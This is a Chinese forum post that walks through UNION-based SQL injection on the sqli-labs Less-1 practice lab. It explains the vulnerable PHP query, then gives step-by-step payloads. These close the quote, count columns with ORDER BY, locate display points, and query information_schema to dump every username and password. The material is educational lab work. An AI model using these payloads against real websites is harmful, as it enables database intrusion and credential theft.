拉不拉稀肚拉稀 发表于 2024-9-11 22:17:05

基于sqli-labs Less-1的sql联合注入详解

SQLi Labs 是一个专为学习和测试 SQL 注入漏洞设计的实验平台,旨在帮助安全研究人员、开发者和网络安全爱好者深入明白并实践各种 SQL 注入攻击。该平台提供了一系列经心设计的实验环境,模拟真实的 SQL 注入场景,并配有相应的办理方案。
要搭建sqli-labs当地靶场,可参考sqli-labs搭建教程。
白盒测试

要明白 SQL 注入的原理,首先需要把握后端怎样实现以下功能:通过前端接收用户输入参数,在数据库中举行查询,并将结果返回前端展示。以 SQLi Labs Less-1 为例,该实验接受用户输入的 id 参数,并依据该参数查询数据库中的相干信息,返回 login name 和 password。
https://img2024.cnblogs.com/blog/3510591/202409/3510591-20240911150127638-1878739044.png
明白此类后端代码并不需要深厚的 PHP 编程基础,只需把握以下关键代码即可:
$id=$_GET['id'];   // 以GET方式从前端接收id参数,并赋值给变量id
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";// 构造查询语句,查找id匹配的行
$result=mysql_query($sql);// 执行查询语句,并将结果赋给$result此时,假如我们令参数id为第一行的代码,则查询语句就会变成第二行的结果。我们在1背面添加的'和原本包裹变量$id的前面的'成对,从而使我们乐成在背面加入了一个判断,由于1不等于2,那么查询就会报错。这样,我们就有可能通过闭合前面的'来执行一些其他的操作,请看接下来的注入过程吧。
id=1' and '1'='2
SELECT * FROM users WHERE id='1' and '1'='2' LIMIT 0,1黑盒测试

1. 判断注入类型

?id=1 and 1=1 回显
?id=1 and 1=2 回显
?id=1' and '1'='1 回显
?id=1' and '1'='2 错误
?id=1' 错误
?id=1'--+ 回显

[*]为什么要判断注入类型:在刚才的白盒中,可以看到查询语句中$id是被'包裹的,除了单引号,双引号、括号等都有可能用于包裹$id,因此,必须尝试出精确的符号来闭合包裹的符号。
[*]--+:是一个解释符,背面的代码将被忽略,避免背面可能存在的条件影响前面注入的结果。
2. 判断字段数

/?id=1' order by 1--+
/?id=1' order by 2--+
/?id=1' order by 3--+

[*]order by 介绍:当我们传入一个参数时,可能会查到多行结果,order by的作用就是将所有的数据按照第x列的数据举行排序,当第x列不存在时就会报错,因而order by函数可以查出列数(即字段数)
[*]为什么要判断字段数:在接下来的联合查询形成的语句会是select * where id = 1 union select 1,2,3,联合查询两个select的列数必须一致,*代表所有列,因此要先知道总列数,才能精确设置联合查询的列数
3. 判断注入点

/?id=1' union select 1,2,3--+   '数据回显,但是没有回显注入点
/?id=0' union select 1,2,3--+   '回显注入点为2和3

[*]什么是联合查询:就是在执行完select * where id='1'后,再执行select 1,2,3,并将结果合并,此中select 1,2,3返回一行包含三个固定值的结果,每个值分别是 1, 2, 3
[*]为什么要判断注入点:假设有一个表,列名(即字段名)分别为id、name、gender...,但是该网站的设计是,输入id,告诉你name是什么。总结而言,固然表中有很多列,但并不是所有列的数据都会被输出到前端,因此必须要先寻找会被输出的位置才能举行后续的注入。
[*]为什么第二行修改为id=0乐成回显:在刚刚的白盒中,我并未介绍LIMIT 0,1的作用,其作用为在查询到的所有数据中,从第0行开始,输出1行。当id=1时,是能够正常查询到数据的,于是只有这一行被输出了。因此我们将id设置为0(或者负数),使得主查询查不到数据,背面联合查询的数据就能正常输出了。
4. 拆解数据库

/?id=0' union select 1,2,database()--+    '数据库security

/?id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+         '表名emails,referers,uagents,users

/?id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema='security' --+'字段id,username,password

/?id=0' union select 1,group_concat(username),group_concat(password) from security.users --+

[*]database():当前数据库名,代替3的位置后,数据库名就会被输出。
[*]group_concat:将得到的所有结果拼接起来并返回,如果不拼接,只会显示查到的第一行结果。
[*]information_schema:是mysql自带的一个特别的数据库,它记录了所有的表名、列名,通过它,我们就能从数据库名一层层的拆解出我们想要数据的列名、表名,并查询到想要的数据。
以下为注入结果,输出了所有用户名与密码。
https://img2024.cnblogs.com/blog/3510591/202409/3510591-20240911152322537-1144066160.png
之后的Less-2,3,4题都是相同的原理,只是在闭合类型上有所区分,可以自行尝试注入。
写在最后

网安的学习需要多动手、多调试、多思索,简单的跟着教程走只能学到外貌的知识,无法真正明白此中的原理。只有通过不断地实践,碰到问题时深入分析和办理,才能提升自己的技术能力。同时,保持好奇心,多去探索差别的安全工具和技术,积极参与社区讨论,分享和学习他人的经验,才能在这个快速发展的范畴中不断进步。

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页: [1]
查看完整版本: 基于sqli-labs Less-1的sql联合注入详解